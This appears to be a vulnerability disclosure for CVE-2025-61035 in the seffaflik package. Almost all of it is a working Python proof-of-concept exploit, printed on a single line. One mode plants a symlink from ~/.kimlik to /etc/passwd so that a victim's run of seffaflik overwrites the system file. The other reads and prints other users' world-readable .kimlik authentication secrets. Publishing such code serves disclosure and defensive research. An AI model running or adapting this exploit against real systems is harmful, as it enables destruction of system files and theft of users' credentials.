CVE-2025-61035：seffaflik包符号链接攻击导致信息泄露与拒绝服务

#!/usr/bin/env python3 # CVE-2025-61035 - seffaflik symlink attack PoC # This PoC demonstrates how a local attacker can exploit # the insecure file permissions and missing symlink checks # in seffaflik <= 0.0.9 import os import sys TARGET_FILE = os.path.expanduser("~/.kimlik") SYMLINK_TARGET = "/etc/passwd" # Arbitrary file to overwrite def exploit_overwrite(): """ Step 1: Remove existing .kimlik file if present Step 2: Create a symlink from ~/.kimlik to a sensitive system file Step 3: Wait for victim to run seffaflik, which will write authentication data through the symlink, overwriting the target """ # Clean up any existing file/symlink if os.path.exists(TARGET_FILE) or os.path.islink(TARGET_FILE): os.remove(TARGET_FILE) # Create symlink pointing to arbitrary file os.symlink(SYMLINK_TARGET, TARGET_FILE) print(f"[+] Symlink created: {TARGET_FILE} -> {SYMLINK_TARGET}") print("[+] Waiting for victim to run seffaflik...") print(f"[+] When seffaflik writes .kimlik, it will overwrite {SYMLINK_TARGET}") def exploit_read_secrets(): """ Exploit 2: Read secrets from another user's .kimlik file since it is created with mode 0777 (world-readable) """ target_users = ["/home/user1/.kimlik", "/home/user2/.kimlik"] for path in target_users: if os.path.exists(path): try: with open(path, 'r') as f: content = f.read() print(f"[+] Read secrets from {path}:") print(content) except PermissionError: print(f"[-] Permission denied for {path}") if __name__ == "__main__": if len(sys.argv) > 1 and sys.argv[1] == "read": exploit_read_secrets() else: exploit_overwrite()